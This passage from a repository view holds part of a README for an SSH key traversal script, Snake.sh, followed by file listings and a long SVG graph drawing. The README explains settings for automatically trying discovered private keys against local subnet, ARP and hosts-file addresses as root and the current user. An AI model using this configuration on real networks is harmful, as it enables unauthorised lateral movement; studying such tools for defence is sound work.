All `interesting_hosts` will be combined with all of the usernames that are discovered on the system to form destinations.
All `interesting_users` will be combined with all of the `interesting_hosts` to form destinations.
All `interesting_dests` will be used to form destinations, and can be used to force every system to attempt to SSH into specific destinations with every key.
This strategy may be toggled off/on with 0/1, or with empty `interesting_users=()`, `interesting_hosts=()`, `interesting_dests()` values. The default values are 1, (), ("$USER" "root"), and () respectively.
### use_combinate_users_hosts_aggressive
Every single username discovered is combined with every single host discovered to form destinations.
This strategy will result in massive growth of attempted destinations; for example, 100 usernames discovered on a system along with 100 hosts will result in 10,000 destinations. Use this with caution.
This strategy may be toggled off/on with 0/1. The default value is 0.
# Alternative Settings
In some parts of the world, it is common to simply look for any SSH private keys in `.ssh/` folders and try to SSH into every address in the d-block of the system which the key was found. The below settings imitate a similar strategy. That is to say, the below settings ensure that the script only looks for nearby hosts in the d-block, arp neighbours, and `/etc/hosts`, and attempts to SSH into each of those hosts with the username `root` and the username which the system started with (`$USER` evaluates to the username that has been SSH'd into on each destination).
```
interesting_users=("$USER" "root")
interesting_hosts=("127.0.0.1")
interesting_dests=()
use_combinate_interesting_users_hosts=1
use_combinate_users_hosts_aggressive=0
use_retry_all_dests=1
scan_paths_depth=3
use_find_from_hosts=1
use_find_arp_neighbours=1
use_find_d_block=1
ignored_key_files=("*badcert.pem*" "*badkey.pem*")
use_sudo=1
ssh_timeout=3
retry_count=3
ignore_user=0
ignored_users=()
ignored_hosts=()
ignored_dests=()
custom_cmds=()
scan_paths=()
use_find_from_authorized_keys=0
use_find_from_last=0
use_find_from_prev_dest=0
use_find_from_known_hosts=0
use_find_from_hashed_known_hosts=0
use_find_from_ignore_list=0
use_find_from_ssh_config=0
use_find_from_bash_history=0
```

1260
Snake.nocomments.sh Executable file

File diff suppressed because it is too large Load Diff

2168
Snake.sh Executable file

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,627 @@
<?xml version="1.0" standalone="no"?>
<svg
version="1.1"
baseProfile="full"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xmlns:ev="http://www.w3.org/2001/xml-events"
x="0px"
y="0px"
width="1551px"
height="951px"
viewBox="0 0 1551 951"
>
<title></title>
<desc>Creator: FreeHEP Graphics2D Driver Producer: org.freehep.graphicsio.svg.SVGGraphics2D Revision Source: Date: Wednesday, January 3, 2024 at 2:44:33 AM Indochina Time</desc>
<g stroke-dashoffset="0" stroke-linejoin="miter" stroke-dasharray="none" stroke-width="1" stroke-linecap="square" stroke-miterlimit="10">
<g fill="#ffffff" fill-rule="nonzero" fill-opacity="1" stroke="none">
<path d="M 0 0 L 1551 0 L 1551 951 L 0 951 L 0 0 z"/>
</g> <!-- drawing style -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 464.5989990234375 -270.6177673339844 C 464.5927429199219 -270.59112548828125 464.56243896484375 -266.07421875 464.5313720703125 -260.52899169921875 C 464.5002746582031 -254.98377990722656 464.2608337402344 -212.27854919433594 463.99658203125 -165.14419555664062 C 463.7322998046875 -118.00984954833984 463.49285888671875 -75.30462646484375 463.4617919921875 -69.75940704345703 C 463.4306945800781 -64.21419525146484 458.9101867675781 -59.744110107421875 453.364990234375 -59.77519989013672 C 447.81976318359375 -59.80628967285156 406.3186340332031 -60.03897476196289 360.66961669921875 -60.29491424560547 C 315.02056884765625 -60.55085372924805 273.5194396972656 -60.783538818359375 267.9742431640625 -60.81462860107422 C 262.42901611328125 -60.84572219848633 257.90850830078125 -56.37563705444336 257.87744140625 -50.830421447753906 C 257.8463439941406 -45.28520584106445 257.8148193359375 -39.66609573364258 257.80706787109375 -38.27979278564453 C 257.7992858886719 -36.89348602294922 257.76776123046875 -31.274377822875977 257.7366943359375 -25.72916030883789 C 257.7055969238281 -20.183940887451172 257.6802062988281 -15.6569185256958 257.67999267578125 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 469.9092712402344 -270.6177673339844 C 469.90966796875 -270.6118469238281 469.3861083984375 -213.52572631835938 468.7398681640625 -143.11236572265625 C 468.0936584472656 -72.69901275634766 467.56976318359375 -15.6177396774292 467.56976318359375 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1317.4180908203125 19.38222885131836 C -1317.885498046875 85.66770935058594 -1318.264892578125 139.39353942871094 -1318.265380859375 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1309.9180908203125 19.38222885131836 C -1309.9180908203125 30.42792320251465 -1309.9180908203125 47.217247009277344 -1309.9180908203125 56.882232666015625 C -1309.9180908203125 66.5472183227539 -1309.9180908203125 78.85938262939453 -1309.9180908203125 84.38223266601562 C -1309.9180908203125 89.90508270263672 -1305.44091796875 94.38223266601562 -1299.9180908203125 94.38223266601562 C -1294.395263671875 94.38223266601562 -1277.0462646484375 94.38223266601562 -1261.1680908203125 94.38223266601562 C -1245.2899169921875 94.38223266601562 -1227.94091796875 94.38223266601562 -1222.4180908203125 94.38223266601562 C -1216.895263671875 94.38223266601562 -1212.4180908203125 98.85938262939453 -1212.4180908203125 104.38223266601562 C -1212.4180908203125 109.90508270263672 -1212.4180908203125 115.50151824951172 -1212.4180908203125 116.88223266601562 C -1212.4180908203125 118.26294708251953 -1212.4180908203125 128.33653259277344 -1212.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -612.4180908203125 19.38222885131836 C -612.4180908203125 35.95077133178711 -616.895263671875 49.38222885131836 -622.4180908203125 49.38222885131836 C -627.94091796875 49.38222885131836 -659.5608520507812 49.38222885131836 -693.0430908203125 49.38222885131836 C -726.5253295898438 49.38222885131836 -758.145263671875 49.38222885131836 -763.6680908203125 49.38222885131836 C -769.19091796875 49.38222885131836 -773.6680908203125 53.85938262939453 -773.6680908203125 59.382232666015625 C -773.6680908203125 64.90508270263672 -773.6680908203125 80.57511138916016 -773.6680908203125 94.38223266601562 C -773.6680908203125 108.1893539428711 -773.6680908203125 128.33653259277344 -773.6680908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#cd5c5c" stroke-linecap="round">
<path d="M -619.9180908203125 1.8822293281555176 C -661.3394775390625 1.8822293281555176 -669.734130859375 -23.3017520904541 -638.6680908203125 -54.367767333984375 C -607.60205078125 -85.43378448486328 -582.4180908203125 -68.08482360839844 -582.4180908203125 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 437.8732604980469 -270.6177673339844 C 437.85406494140625 -270.60687255859375 437.8357849121094 -266.111083984375 437.8324279785156 -260.57611083984375 C 437.8290710449219 -255.0411376953125 437.8236389160156 -246.0671844482422 437.8202819824219 -240.53221130371094 C 437.8169250488281 -234.9972381591797 437.8114929199219 -226.02328491210938 437.8081359863281 -220.48831176757812 C 437.8047790527344 -214.95335388183594 433.3150939941406 -210.46908569335938 427.7801208496094 -210.47244262695312 C 422.2451477050781 -210.4757843017578 202.58348083496094 -210.60882568359375 -62.84796142578125 -210.76959228515625 C -328.2793884277344 -210.9303436279297 -547.9411010742188 -211.06338500976562 -553.47607421875 -211.06674194335938 C -559.010986328125 -211.07008361816406 -563.500732421875 -206.5858154296875 -563.5040283203125 -201.05084228515625 C -563.5073852539062 -195.51588439941406 -563.5311889648438 -156.2548065185547 -563.55712890625 -113.35879516601562 C -563.5831298828125 -70.46278381347656 -563.60693359375 -31.201719284057617 -563.6102294921875 -25.666748046875 C -563.6135864257812 -20.131778717041016 -563.6293334960938 -15.632698059082031 -563.6453247070312 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -552.4180908203125 19.38222885131836 C -552.4180908203125 35.95077133178711 -547.94091796875 49.38222885131836 -542.4180908203125 49.38222885131836 C -536.895263671875 49.38222885131836 -505.2753601074219 49.38222885131836 -471.7930908203125 49.38222885131836 C -438.31085205078125 49.38222885131836 -406.69097900390625 49.38222885131836 -401.1681213378906 49.38222885131836 C -395.645263671875 49.38222885131836 -391.1681213378906 53.85938262939453 -391.1681213378906 59.382232666015625 C -391.1681213378906 64.90508270263672 -391.1681213378906 80.57511138916016 -391.1681213378906 94.38223266601562 C -391.1681213378906 108.1893539428711 -391.1681213378906 128.33653259277344 -391.1681213378906 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -597.4180908203125 19.38222885131836 C -597.4180908203125 30.42792320251465 -597.4180908203125 40.50151824951172 -597.4180908203125 41.88222885131836 C -597.4180908203125 43.262939453125 -597.4180908203125 48.85938262939453 -597.4180908203125 54.382232666015625 C -597.4180908203125 59.90507888793945 -601.895263671875 64.38223266601562 -607.4180908203125 64.38223266601562 C -612.94091796875 64.38223266601562 -628.6109619140625 64.38223266601562 -642.4180908203125 64.38223266601562 C -656.2252197265625 64.38223266601562 -671.895263671875 64.38223266601562 -677.4180908203125 64.38223266601562 C -682.94091796875 64.38223266601562 -687.4180908203125 68.85938262939453 -687.4180908203125 74.38223266601562 C -687.4180908203125 79.90508270263672 -687.4180908203125 92.21724700927734 -687.4180908203125 101.88223266601562 C -687.4180908203125 111.5472183227539 -687.4180908203125 128.33653259277344 -687.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -582.4180908203125 19.38222885131836 L -582.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -567.4180908203125 19.38222885131836 C -567.4180908203125 30.42792320251465 -567.4180908203125 40.50151824951172 -567.4180908203125 41.88222885131836 C -567.4180908203125 43.262939453125 -567.4180908203125 48.85938262939453 -567.4180908203125 54.382232666015625 C -567.4180908203125 59.90507888793945 -562.94091796875 64.38223266601562 -557.4180908203125 64.38223266601562 C -551.895263671875 64.38223266601562 -536.2252197265625 64.38223266601562 -522.4180908203125 64.38223266601562 C -508.6109924316406 64.38223266601562 -492.94097900390625 64.38223266601562 -487.4181213378906 64.38223266601562 C -481.895263671875 64.38223266601562 -477.4181213378906 68.85938262939453 -477.4181213378906 74.38223266601562 C -477.4181213378906 79.90508270263672 -477.4181213378906 92.21724700927734 -477.4181213378906 101.88223266601562 C -477.4181213378906 111.5472183227539 -477.4181213378906 128.33653259277344 -477.4181213378906 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 486.0791015625 -270.6177673339844 C 486.0622253417969 -270.634765625 486.0419006347656 -266.1859130859375 486.0336608886719 -260.68096923828125 C 486.0254211425781 -255.176025390625 485.98712158203125 -229.5158233642578 485.94805908203125 -203.3673095703125 C 485.90899658203125 -177.21881103515625 485.8706970214844 -151.55860900878906 485.8624572753906 -146.05364990234375 C 485.8542175292969 -140.5487060546875 490.3102111816406 -136.0793914794922 495.815185546875 -136.0711669921875 C 501.32012939453125 -136.06295776367188 633.8446655273438 -135.8650360107422 791.8170166015625 -135.62911987304688 C 949.7894287109375 -135.3931884765625 1082.31396484375 -135.1952667236328 1087.8189697265625 -135.18704223632812 C 1093.323974609375 -135.1788330078125 1097.7799072265625 -130.7095184326172 1097.771728515625 -125.20457458496094 C 1097.7635498046875 -119.69962310791016 1097.730224609375 -97.38641357421875 1097.697265625 -75.36661529541016 C 1097.664306640625 -53.34681701660156 1097.6309814453125 -31.033599853515625 1097.622802734375 -25.528650283813477 C 1097.6146240234375 -20.023700714111328 1097.60791015625 -15.586448669433594 1097.6080322265625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 440.5186462402344 -270.6177673339844 C 440.51336669921875 -270.6144714355469 440.5035705566406 -266.1243591308594 440.496826171875 -260.5887756347656 C 440.4900817871094 -255.05319213867188 440.4750061035156 -242.712646484375 440.46319580078125 -233.02537536621094 C 440.45135498046875 -223.33810424804688 440.4363098144531 -210.99755859375 440.4295654296875 -205.46197509765625 C 440.42279052734375 -199.92640686035156 435.9298400878906 -195.4444122314453 430.394287109375 -195.451171875 C 424.85870361328125 -195.45791625976562 212.14442443847656 -195.71751403808594 -44.71635437011719 -196.03099060058594 C -301.5771179199219 -196.34446716308594 -514.2913818359375 -196.60406494140625 -519.8269653320312 -196.61080932617188 C -525.362548828125 -196.61756896972656 -529.8555297851562 -192.1355743408203 -529.8623046875 -186.60000610351562 C -529.8690185546875 -181.06442260742188 -529.926513671875 -133.94595336914062 -529.99072265625 -81.35794067382812 C -530.0548706054688 -28.769935607910156 -530.1123657226562 18.348539352416992 -530.119140625 23.884119033813477 C -530.1258544921875 29.41969871520996 -525.6438598632812 33.91265106201172 -520.1082763671875 33.919403076171875 C -514.57275390625 33.9261589050293 -479.51434326171875 33.96894454956055 -441.80322265625 34.01496887207031 C -404.0920715332031 34.06099319458008 -369.03369140625 34.10377883911133 -363.49810791015625 34.11053466796875 C -357.9625244140625 34.117286682128906 -353.48052978515625 38.61023712158203 -353.4873046875 44.145816802978516 C -353.4940490722656 49.681396484375 -353.5173034667969 68.75315856933594 -353.5392761230469 86.74378967285156 C -353.5612487792969 104.73442840576172 -353.5845031738281 123.80619049072266 -353.59124755859375 129.34176635742188 C -353.5980224609375 134.87734985351562 -353.6118469238281 139.37261962890625 -353.6221923828125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1302.4180908203125 19.38222885131836 C -1302.4180908203125 30.42792320251465 -1302.4180908203125 43.85938262939453 -1302.4180908203125 49.38222885131836 C -1302.4180908203125 54.90507507324219 -1302.4180908203125 63.85938262939453 -1302.4180908203125 69.38223266601562 C -1302.4180908203125 74.90508270263672 -1297.94091796875 79.38223266601562 -1292.4180908203125 79.38223266601562 C -1286.895263671875 79.38223266601562 -1247.72021484375 79.38223266601562 -1204.9180908203125 79.38223266601562 C -1162.115966796875 79.38223266601562 -1122.94091796875 79.38223266601562 -1117.4180908203125 79.38223266601562 C -1111.895263671875 79.38223266601562 -1107.4180908203125 83.85938262939453 -1107.4180908203125 89.38223266601562 C -1107.4180908203125 94.90508270263672 -1107.4180908203125 103.85938262939453 -1107.4180908203125 109.38223266601562 C -1107.4180908203125 114.90508270263672 -1107.4180908203125 128.33653259277344 -1107.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 499.4875793457031 -270.6177673339844 C 499.46844482421875 -270.628662109375 499.4506530761719 -266.1693420410156 499.4478759765625 -260.65765380859375 C 499.445068359375 -255.1459197998047 499.4405517578125 -246.2096710205078 499.437744140625 -240.6979522705078 C 499.4349670410156 -235.1862335205078 499.4304504394531 -226.24998474121094 499.4276428222656 -220.73828125 C 499.4248352050781 -215.2265625 503.8907165527344 -210.7561798095703 509.40240478515625 -210.75338745117188 C 514.9141235351562 -210.75057983398438 761.8978271484375 -210.62545776367188 1061.055908203125 -210.47390747070312 C 1360.2139892578125 -210.32235717773438 1607.19775390625 -210.19723510742188 1612.70947265625 -210.19444274902344 C 1618.22119140625 -210.191650390625 1622.68701171875 -205.7212677001953 1622.684326171875 -200.2095489501953 C 1622.6815185546875 -194.6978302001953 1622.66162109375 -155.60171508789062 1622.6400146484375 -112.88594055175781 C 1622.618408203125 -70.17015838623047 1622.5985107421875 -31.074047088623047 1622.595703125 -25.562334060668945 C 1622.593017578125 -20.05061912536621 1622.5906982421875 -15.598286628723145 1622.5906982421875 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1287.4180908203125 19.38222885131836 C -1287.4180908203125 35.95077133178711 -1282.94091796875 49.38222885131836 -1277.4180908203125 49.38222885131836 C -1271.895263671875 49.38222885131836 -1189.06787109375 49.38222885131836 -1092.4180908203125 49.38222885131836 C -995.7682495117188 49.38222885131836 -912.94091796875 49.38222885131836 -907.4180908203125 49.38222885131836 C -901.895263671875 49.38222885131836 -897.4180908203125 53.85938262939453 -897.4180908203125 59.382232666015625 C -897.4180908203125 64.90508270263672 -897.4180908203125 80.57511138916016 -897.4180908203125 94.38223266601562 C -897.4180908203125 108.1893539428711 -897.4180908203125 128.33653259277344 -897.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 448.59405517578125 -270.6177673339844 C 448.5763854980469 -270.6023864746094 448.5579528808594 -266.1009521484375 448.55291748046875 -260.56353759765625 C 448.5478820800781 -255.02610778808594 448.5274658203125 -232.58126831054688 448.5072937011719 -210.43157958984375 C 448.48712158203125 -188.2819061279297 448.4667053222656 -165.83706665039062 448.461669921875 -160.29965209960938 C 448.4566345214844 -154.76222229003906 443.96356201171875 -150.27734375 438.4261474609375 -150.28237915039062 C 432.88873291015625 -150.28741455078125 253.6506805419922 -150.45054626464844 38.08677673339844 -150.646728515625 C -177.4771270751953 -150.8428955078125 -356.71514892578125 -151.0060272216797 -362.2525634765625 -151.0110626220703 C -367.7900085449219 -151.01609802246094 -372.2830505371094 -146.53121948242188 -372.2880859375 -140.99380493164062 C -372.2931213378906 -135.45639038085938 -372.3166198730469 -109.64482879638672 -372.340576171875 -83.34207153320312 C -372.364501953125 -57.03932189941406 -372.38800048828125 -31.227760314941406 -372.3930358886719 -25.690338134765625 C -372.3980712890625 -20.152917861938477 -372.40216064453125 -15.643274307250977 -372.4021911621094 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 451.2694396972656 -270.6177673339844 C 451.25238037109375 -270.60064697265625 451.2333679199219 -266.0965270996094 451.22698974609375 -260.55755615234375 C 451.2205810546875 -255.01856994628906 451.19085693359375 -229.1997528076172 451.16058349609375 -202.8896026611328 C 451.13031005859375 -176.57945251464844 451.1005859375 -150.76063537597656 451.0942077636719 -145.22164916992188 C 451.08782958984375 -139.68267822265625 446.5924377441406 -135.19761657714844 441.053466796875 -135.2039794921875 C 435.5144958496094 -135.21035766601562 279.1983642578125 -135.3903045654297 91.91165161132812 -135.6059112548828 C -95.37506866455078 -135.82151794433594 -251.69119262695312 -136.00146484375 -257.23016357421875 -136.00784301757812 C -262.7691345214844 -136.0142059326172 -267.2645263671875 -131.52914428710938 -267.27093505859375 -125.99017333984375 C -267.2773132324219 -120.4511947631836 -267.3031311035156 -98.00005340576172 -267.3286437988281 -75.84413146972656 C -267.3541564941406 -53.6882209777832 -267.3799743652344 -31.237071990966797 -267.3863525390625 -25.69809341430664 C -267.39276123046875 -20.159114837646484 -267.39794921875 -15.645999908447266 -267.3979797363281 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 456.6150817871094 -270.6177673339844 C 456.6001281738281 -270.59613037109375 456.5790100097656 -266.085205078125 456.56793212890625 -260.5423583984375 C 456.5568542480469 -254.99951171875 456.49176025390625 -222.42262268066406 456.42254638671875 -187.77984619140625 C 456.35333251953125 -153.13705444335938 456.2882385253906 -120.56016540527344 456.27716064453125 -115.01731872558594 C 456.2660827636719 -109.47447204589844 451.76373291015625 -104.9900894165039 446.22088623046875 -105.00115966796875 C 440.6780700683594 -105.01223754882812 330.22955322265625 -105.23291778564453 199.52728271484375 -105.49406433105469 C 68.82499694824219 -105.75521850585938 -41.623497009277344 -105.97589874267578 -47.166343688964844 -105.98696899414062 C -52.709190368652344 -105.998046875 -57.21153259277344 -101.51366424560547 -57.22260665893555 -95.97081756591797 C -57.233680725097656 -90.42797088623047 -57.265106201171875 -74.7011947631836 -57.29279327392578 -60.844085693359375 C -57.32047653198242 -46.986968994140625 -57.35190200805664 -31.260194778442383 -57.36297607421875 -25.717348098754883 C -57.37405014038086 -20.174503326416016 -57.383087158203125 -15.652767181396484 -57.383155822753906 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M 459.2830810546875 -270.6177673339844 C 459.26995849609375 -270.5934753417969 459.2469177246094 -266.0787048339844 459.23162841796875 -260.53375244140625 C 459.2163391113281 -254.98883056640625 459.1170959472656 -219.0283660888672 459.010009765625 -180.2138214111328 C 458.9029235839844 -141.39927673339844 458.8036804199219 -105.43881225585938 458.78839111328125 -99.89387512207031 C 458.7731018066406 -94.34893798828125 454.265625 -89.86628723144531 448.720703125 -89.88158416748047 C 443.1757507324219 -89.89688110351562 355.68267822265625 -90.13829803466797 253.29940795898438 -90.42079162597656 C 150.9161376953125 -90.70328521728516 63.42305374145508 -90.9447021484375 57.87812042236328 -90.95999908447266 C 52.333187103271484 -90.97529602050781 47.82572555541992 -86.49264526367188 47.8104248046875 -80.94770812988281 C 47.79512405395508 -75.40277099609375 47.761016845703125 -63.04136276245117 47.73424530029297 -53.337730407714844 C 47.70746994018555 -43.63409423828125 47.673362731933594 -31.27268409729004 47.65806198120117 -25.72774887084961 C 47.64276123046875 -20.182815551757812 47.630271911621094 -15.656423568725586 47.630165100097656 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1339.9180908203125 19.38222885131836 C -1339.9180908203125 30.42792320251465 -1339.9180908203125 43.85938262939453 -1339.9180908203125 49.38222885131836 C -1339.9180908203125 54.90507507324219 -1339.9180908203125 63.85938262939453 -1339.9180908203125 69.38223266601562 C -1339.9180908203125 74.90508270263672 -1344.395263671875 79.38223266601562 -1349.9180908203125 79.38223266601562 C -1355.44091796875 79.38223266601562 -1416.442138671875 79.38223266601562 -1486.1680908203125 79.38223266601562 C -1555.89404296875 79.38223266601562 -1616.895263671875 79.38223266601562 -1622.4180908203125 79.38223266601562 C -1627.94091796875 79.38223266601562 -1632.4180908203125 83.85938262939453 -1632.4180908203125 89.38223266601562 C -1632.4180908203125 94.90508270263672 -1632.4180908203125 103.85938262939453 -1632.4180908203125 109.38223266601562 C -1632.4180908203125 114.90508270263672 -1632.4180908203125 128.33653259277344 -1632.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1294.9180908203125 19.38222885131836 C -1294.9180908203125 30.42792320251465 -1294.9180908203125 40.50151824951172 -1294.9180908203125 41.88222885131836 C -1294.9180908203125 43.262939453125 -1294.9180908203125 48.85938262939453 -1294.9180908203125 54.382232666015625 C -1294.9180908203125 59.90507888793945 -1290.44091796875 64.38223266601562 -1284.9180908203125 64.38223266601562 C -1279.395263671875 64.38223266601562 -1218.39404296875 64.38223266601562 -1148.6680908203125 64.38223266601562 C -1078.942138671875 64.38223266601562 -1017.94091796875 64.38223266601562 -1012.4180908203125 64.38223266601562 C -1006.895263671875 64.38223266601562 -1002.4180908203125 68.85938262939453 -1002.4180908203125 74.38223266601562 C -1002.4180908203125 79.90508270263672 -1002.4180908203125 92.21724700927734 -1002.4180908203125 101.88223266601562 C -1002.4180908203125 111.5472183227539 -1002.4180908203125 128.33653259277344 -1002.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
<path d="M -1332.4180908203125 19.38222885131836 C -1332.4180908203125 30.42792320251465 -1332.4180908203125 47.217247009277344 -1332.4180908203125 56.882232666015625 C -1332.4180908203125 66.5472183227539 -1332.4180908203125 78.85938262939453 -1332.4180908203125 84.38223266601562 C -1332.4180908203125 89.90508270263672 -1336.895263671875 94.38223266601562 -1342.4180908203125 94.38223266601562 C -1347.94091796875 94.38223266601562 -1387.115966796875 94.38223266601562 -1429.9180908203125 94.38223266601562 C -1472.72021484375 94.38223266601562 -1511.895263671875 94.38223266601562 -1517.4180908203125 94.38223266601562 C -1522.94091796875 94.38223266601562 -1527.4180908203125 98.85938262939453 -1527.4180908203125 104.38223266601562 C -1527.4180908203125 109.90508270263672 -1527.4180908203125 115.50151824951172 -1527.4180908203125 116.88223266601562 C -1527.4180908203125 118.26294708251953 -1527.4180908203125 128.33653259277344 -1527.4180908203125 139.38223266601562"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#cd5c5c" stroke-linecap="round">
<path d="M 432.5393981933594 -270.6177673339844 C 432.5214538574219 -270.6091003417969 432.50543212890625 -263.87725830078125 432.50360107421875 -255.581787109375 C 432.5018005371094 -247.2863311767578 428.01715087890625 -240.56251525878906 422.48681640625 -240.563720703125 C 416.9565124511719 -240.56494140625 28.879554748535156 -240.64987182617188 -444.3073425292969 -240.75341796875 C -917.4942626953125 -240.85696411132812 -1305.5711669921875 -240.94189453125 -1311.1015625 -240.943115234375 C -1316.6318359375 -240.94432067871094 -1321.115966796875 -236.46209716796875 -1321.1171875 -230.93179321289062 C -1321.118408203125 -225.4014892578125 -1321.12841796875 -179.44869995117188 -1321.1396484375 -128.29335021972656 C -1321.15087890625 -77.13801574707031 -1321.160888671875 -31.185218811035156 -1321.162109375 -25.6549129486084 C -1321.163330078125 -20.12460708618164 -1321.164306640625 -15.630824089050293 -1321.164306640625 -15.617770195007324"/>
</g> <!-- drawing style -->
</g> <!-- transform -->
<g transform="matrix(0.4035991452240131, 0, 0, 0.4035991452240131, 776.7193329094939, 557.6799581274117)">
<g stroke-opacity="1" stroke-width="2" fill="none" stroke="#006400" stroke-linecap="round">
